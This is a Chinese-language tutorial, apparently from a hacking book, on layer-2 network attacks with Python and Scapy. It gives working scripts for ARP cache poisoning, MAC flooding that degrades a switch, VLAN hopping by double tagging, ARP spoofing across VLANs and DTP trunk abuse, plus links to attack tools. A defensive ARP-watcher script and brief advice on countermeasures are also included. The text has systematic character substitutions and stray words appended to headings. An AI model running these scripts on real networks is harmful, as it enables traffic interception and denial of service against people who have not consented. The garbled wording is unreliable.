arp中间人

0x00 摘要css


在本章第二层攻击当中,咱们将进入网络hacking的奇幻之旅。让咱们回顾一下,第二层是负责在以太网中,使用MAC地址来发送数据包。除了ARP攻击,咱们将探讨交换机是如何应对DOS攻击的,以及如何逃逸出VLAN环境。html

0x01 需求模块python


在Python中,你没必要在乎原始套接字或网络字节顺序,借由Philippe Biondi编写的Scapy,具备世界上最好的数据包生成器,你能够轻松地定制数据包。既不像在Libnet和C中那样须要指针运算,也不像在RawIP和Perl中,或者是在Scruby和Ruby中,你会被有限的几种协议所束缚。Scapy能够构造从ARP到IP/ICMP,再到TCP/UDP和DNS/DHCP等全部OSI层上的数据包,甚至是更不常见的协议也一样被支持,好比BOOTP, GPRS, PPPoE, SNMP, Radius, Infrared, L2CAP/HCI, EAP。git

如今让咱们在第二层网络上,使用Scapy来制造一些麻烦吧!首先你须要用以下的命令安装它:github

pip install Scapy

如今你将步入经典著名的中间人攻击!缓存

0x02 ARP-Cache-Poisoning安全


若是一台主机想要发送IP数据包到另外一台主机,就必须预先经过使用ARP协议请求目的MAC地址。这个询问会向网络中的全部成员广播。在一个完美的世界中,只有应答的主机是所需的目的主机。在一个不那么完美的世界中,攻击者会每隔几秒向它的受害者发送一个ARP应答报文,可是是以它本身的MAC地址做为响应,从而重定向该链接到其自身。由于大多数的操做系统都接受它们从未询问过的应答报文,因此该攻击才会生效!ruby

#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether    
  
if len(sys.argv) < 3:
    print sys.argv[0] + ": <target> <spoof_ip>"
    sys.exit(1)    
  
iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]    
  
ethernet = Ether()
arp = ARP(pdst=target_ip,
                psrc=fake_ip,
                op="is-at")
packet = ethernet / arp    
  
while True:
        sendp(packet, iface=iface)
        time.sleep(10)

在Scapy的帮助下,咱们构造了一个名为packet的数据包,里面包括一个Ethernet()及一个ARP()头。在ARP头部中,咱们设置了受害者的IP地址(target_ip)和咱们想劫持全部链接的IP地址(fake_ip)。对于最后一个参数,咱们设置OP-Code为is-at,声明该数据包为一个ARP响应。而后sendp()函数在每次发送数据包时,都等待10秒并一直循环发送下去。网络

须要注意的是,你必须使用sendp()函数而不是send()函数,由于数据包应该在第二层被发送。send()则是在第三层发送数据包。dom

最后,要记得启用IP转发,不然你的主机会阻塞来自受害者的链接。

sysctl net.ipv4.ip_forward=1

不要忘记检查像IPtables这样的数据包过滤器的设置,使用pf或ipfw或直接禁用它,如今已经了解了足够多的枯燥的理论知识,让咱们直接进入一些实用的Python代码吧!

若是你只是用fake_ip来处理客户端的ARP缓存,那么你只会获得客户端的数据包,而没法接收到服务端的响应。以下图所示。

enter image description here

以下图所示,要强制经过攻击者的主机进行双向链接,攻击者就必须使用他的MAC地址,来伪造客户端和服务端的相关目的地址。

enter image description here

咱们的第一段代码有些粗糙,它发送了大量的ARP报文,不只产生了所须要的流量,并且也比较暴露。隐蔽的攻击者会采起另外一种策略。

一台主机若是想要获取有关IP地址的信息,会发出一个ARP请求。咱们将编写一个程序,等待ARP请求,并为每个接收到的请求发送一个ARP欺骗响应。在交换环境中,这将致使每个链接都会流经攻击者的主机,由于在ARP缓存中,每个IP地址都会有攻击者的MAC地址。这个攻击更加优雅,不像以前的那个那么嘈杂,但仍是很容易被一个训练有素的管理员检测到。

以下图所示,欺骗性的响应数据包和真实主机的响应数据包被并行发送。谁的数据包先被受害者的网卡接收到,则谁获胜。

enter image description here

#!/usr/bin/python    
  
import sys
from scapy.all import sniff, sendp, ARP, Ether    
  
if len(sys.argv) < 2:
    print sys.argv[0] + " <iface>"
    sys.exit(0)    
  
  
def arp_poison_callback(packet):
        # Got ARP request?
        if packet[ARP].op == 1:
            answer = Ether(dst=packet[ARP].hwsrc) / ARP()
            answer[ARP].op = "is-at"
            answer[ARP].hwdst = packet[ARP].hwsrc
            answer[ARP].psrc = packet[ARP].pdst
            answer[ARP].pdst = packet[ARP].psrc    
  
            print "Fooling " + packet[ARP].psrc + " that " + \
                    packet[ARP].pdst + " is me"   
  
            sendp(answer, iface=sys.argv[1])    
  
sniff(prn=arp_poison_callback,
        filter="arp",
        iface=sys.argv[1],
        store=0)

从参数iface指定的网卡中,sniff()函数无限循环地读取数据包。将PACP过滤器设置为arp,使接收到的数据包都被自动过滤,来保证咱们的回调函数arp_poison_callback在被调用时,只有ARP数据包做为输入。同时因为参数store=0,数据包将不会被存储。

arp_poison_callback()函数处理咱们的实际工做。首先,它会检查ARP报文的OP code:当它是1时则为一个ARP请求,而后咱们来生成一个响应包,在响应数据包中,咱们将请求包中的源MAC地址和IP地址做为目的MAC地址和IP地址。由于咱们未定义源MAC地址,因此Scapy会自动插入发送数据包的网络接口地址。

ARP中IP与MAC地址的对应关系会被缓存一段时间,由于它会被转储起来,对同一地址一遍又一遍地进行解析。能够用以下命令显示ARP缓存:

arp -an?
 (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0

这依赖于操做系统和它的版本,本地配置设置及地址被缓存的时间。

为了抵御ARP欺骗攻击,一方面可使用ARP静态表,可是这一样能够被接收到的ARP响应所覆盖,这些均依赖于操做系统对ARP的处理代码。另外一方面也可使用像ARP watcher这样的工具。ARP watcher监控ARP流量,并报告可疑行为但并不阻止。如今最早进的入侵检测系统能够检测到ARP缓存中毒攻击。你应该使用上面的代码,检查一下你的IDS,看看它是如何表现的。

0x03 ARP-Watcher


接下来咱们编写一个小工具,来报告全部新链接到咱们网络的设备,为此它必须可以记住全部IP和MAC地址的对应关系。此外,它还能够检测出一个网络设备是否忽然更改了它的MAC地址。

#!/usr/bin/python    
  
from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys    
  
arp_watcher_db_file = "/var/cache/arp-watcher.db"
ip_mac = {}    
  
# Save ARP table on shutdown
def sig_int_handler(signum, frame):
        print "Got SIGINT. Saving ARP database..."
        try:
                f = open(arp_watcher_db_file, "w")    
  
                for (ip, mac) in ip_mac.items():
                    f.write(ip + " " + mac + "\n")    
  
                f.close()
                print "Done."
        except IOError:
                print "Cannot write file " + arp_watcher_db_file
                sys.exit(1)    
  
  
def watch_arp(pkt):
        # got is-at pkt (ARP response)
        if pkt[ARP].op == 2:
                print pkt[ARP].hwsrc + " " + pkt[ARP].psrc    
  
                # Device is new. Remember it.
                if ip_mac.get(pkt[ARP].psrc) == None:
                        print "Found new device " + \
                                pkt[ARP].hwsrc + " " + \
                                pkt[ARP].psrc
                        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc    
  
                # Device is known but has a different IP
                elif ip_mac.get(pkt[ARP].psrc) and \
                        ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
                                print pkt[ARP].hwsrc + \
                                        " has got new ip " + \
                                        pkt[ARP].psrc + \
                                        " (old " + ip_mac[pkt[ARP].psrc] + ")"
                                ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc    
  
signal(SIGINT, sig_int_handler)    
  
if len(sys.argv) < 2:
        print sys.argv[0] + " <iface>"
        sys.exit(0)    
  
try:
        fh = open(arp_watcher_db_file, "r")
except IOError:
        print "Cannot read file " + arp_watcher_db_file
        sys.exit(1)    
  
for line in fh:
        line.chomp()
        (ip, mac) = line.split(" ")
        ip_mac[ip] = mac    
  
sniff(prn=watch_arp,
        filter="arp",
        iface=sys.argv[1],
        store=0)

开始咱们定义了一个信号处理函数sig_int_handler(),当用户中断程序时该函数会被调用。该函数会在ip_mac字典中,将全部已知的IP和MAC地址对应关系保存到一个文件当中。一开始咱们读取这些ARP db文件,用目前已知的全部对应关系来初始化程序,若文件没法读取则退出。而后咱们将文件内容一行一行地循环读取,把每一行分割为IP和MAC地址,将它们保存到 ip_mac字典中。咱们再调用已知的sniff()函数,对每个接收到的ARP数据包,调用回调函数watch_arp。

watch_arp函数是整个程序中的核心逻辑部分。当嗅探到的数据包是is-at数据包时,则该数据包为一个ARP响应。紧接着咱们首先检查IP是否存在于ip_mac字典中。若是咱们没有发现对应条目,则其为一个新设备,并在屏幕上显示一条信息。不然咱们将数据包中的MAC地址与字典中的MAC相比较,若是不一样则响应很但是伪造的,咱们也在屏幕上显示一条消息。在这两种状况下,都会用新的信息来更新字典。

0x04 MAC-Flooder


交换机和其余计算机同样,具备有限的内存,交换机中存放MAC地址信息的表格也一样如此,该表格记录哪一个MAC地址对应哪一个端口及其内部的ARP缓存。当交换机的缓冲区溢出时,它们的反应就会有些古怪。这将会致使交换机拒绝服务,以致于放弃交换行为而变得像正常的集线器。在集线器模式下,总体的高流量不会是你遇到的惟一问题,所以在没有附加操做下,全部已链接的计算机都会接收到完整的流量。你应该测试一下的你的交换机在这种意外状况下是如何反应的,接下来的脚本就能够作到这一点。它会产生随机的MAC地址,并将它们发送到你的交换机中,直到交换机的缓冲区被填满。

#!/usr/bin/python    
  
import sys
from scapy.all import *   
  
packet = Ether(src=RandMAC("*:*:*:*:*:*"),
                        dst=RandMAC("*:*:*:*:*:*")) / \
                        IP(src=RandIP("*.*.*.*"),
                            dst=RandIP("*.*.*.*")) / \
                        ICMP()    
  
if len(sys.argv) < 2:
        dev = "eth0"
else:
        dev = sys.argv[1]    
  
print "Flooding net with random packets on dev " + dev    
  
sendp(packet, iface=dev, loop=1)

RandMAC和RandIP负责随机地产生地址当中的每个字节。其他的则由sendp()函数的循环参数完成。

0x05 VLAN Hopping


由于VLAN不具有安全特性,一方面标记VLAN取决于包含VLAN id的数据包头部,使用Scapy能够很容易建立这样的数据包。如今让咱们的电脑链接到VLAN1,而且尝试去ping VLAN2上的其余主机。

#!/usr/bin/python    
  
from scapy.all import *   
  
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
                Dot1Q(vlan=1) / \
                Dot1Q(vlan=2) / \
                IP(dst="192.168.13.3") / \
                ICMP()    
  
sendp(packet)

首先咱们设定在数据包的头部当中,包含咱们的VLAN标记,再加上一个目的主机地址。交换机将会移除第一个标记,并不决定如何处理该数据包,当它看到第二个标记VLAN id 2 的时候,则决定转发到这个vlan。若是交换机链接到其余经过堆叠启用的VLAN交换机,这种攻击只会是成功的,不然它们就是使用的基于端口的VLAN。

0x06 Let’s Play Switch


Linux能够运行在许多嵌入式网络设备上;所以凭借Linux操做系统,人们能够把本身的电脑变成一台功能齐全的VALN交换机,这并不使人惊奇。你只须要vconfig这种工具就够了。在根据你的操做系统安装所需的数据包后,经过如下的命令,你能够将你的主机加入到另外一个VLAN环境中。

vconfig add eth0 1

而后你必须记住启动新设备,并给它一个VLAN网络中的IP地址。

ifconfig eth0.1 192.168.13.23 up

0x07 ARP Spoofing Over VLAN Hopping


VLAN会限制对同一VLAN的端口的广播流量,所以咱们不能在默认状况下应对全部的ARP请求,就像在第一个ARP spoofing例子中看到的那样,必须每隔几秒就向受害者告诉咱们的MAC地址。除了咱们对每一个数据包进行了标记和加之的目的VLAN,下面的代码是通用的。

#!/usr/bin/python    
  
import time
from scapy.all import sendp, ARP, Ether, Dot1Q    
  
iface = "eth0"
target_ip = '192.168.13.23'
fake_ip = '192.168.13.5'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2   
  
packet = Ether() / \
                Dot1Q(vlan=our_vlan) / \
                Dot1Q(vlan=target_vlan) / \
                ARP(hwsrc=fake_mac,
                        pdst=target_ip,
                        psrc=fake_ip,
                        op="is-at")    
  
while True:
        sendp(packet, iface=iface)
        time.sleep(10)

幸运的是,防护这种类型的VLAN攻击并无那么复杂:若是你真的想分离你的网络,只须要使用物理划分的交换机!

0x08 DTP Abusing


DTP(动态中继协议)是一种由思科发明的专有协议,用于若是一个端口是trunk端口,则交换机之间能够动态地交流。Trunk端口一般用于互连交换机和路由器,以便共享一些或全部已知的VLAN。

为了可以执行下面的代码,你须要安装Scapy的开发版本。同时为了check out出源,请先安装Mercurial,而后键入如下命令来克隆Scapy repository。

hg clone http://hg.secdev.org/scapy scapy

若是你想跟踪Scapy的最新版本,你只须要时不时地更新checkout。

cd scapy
hg pull

如今你能够将旧版本的Scapy变成最新版的了。

pip uninstall Scapy
cd scapy
python setup.py install

多亏了DTP协议,和它彻底忽视任何一种安全的属性,咱们如今就能够发送一个动态可取包到每个启用DTP的思科设备,并要求它将咱们的端口转变为trunk端口。

#!/usr/bin/python    
  
import sys
from scapy.layers.l2 import Dot3 , LLC, SNAP
from scapy.contrib.dtp import *   
  
if len(sys.argv) < 2:
        print sys.argv[0] + " <dev>"
        sys.exit()    
  
negotiate_trunk(iface=sys.argv[1])

做为一个可选参数,你能够设置欺骗相邻交换机的MAC地址,若是没有设置,则会自动生成一个随机值。

这种攻击可能会持续几分钟,可是攻击者并不关心延迟,由于他们知道在改变链接到每个VLAN的可能性以后他们会获得什么!

vconfig add eth0 <vlan-id>
ifconfig eth0.<vlan-id> <ip_of_vlan> up

没有足够好的理由来使用DTP,因此干脆禁用掉它吧!

0x09 Tools


NetCommander

NetCommander是一个简单的ARP欺骗程序。它经过对每个可能的IP发送ARP请求,来搜索网络上存活的主机。你能够选择须要劫持的链接,而后每隔几秒,NetCommander就会自动地欺骗那些主机和默认网关之间的双向链接。

工具的源代码能够从这里下载:https://github.com/evilsocket/NetCommander

Hacker’s Hideaway ARP Attack Tool

Hacker’s Hideaway ARP Attack Tool比NetCommander的功能多一些。除了欺骗特殊链接,它还支持被动欺骗全部对源IP的ARP请求,和MAC泛洪攻击。

工具的下载连接为:https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2

Loki

Loki是一种像Yersinia的第二层和第三层攻击工具。它能够经过插件来扩展,也有一个漂亮的GUI界面。它实现了像ARP欺骗和泛洪,BGP,RIP路由注入之类的攻击,甚至能够攻击像HSRP和VRRP那样很是罕见的协议。

工具的源代码地址为:https://www.c0decafe.de/loki.html

相关文章
相关标签/搜索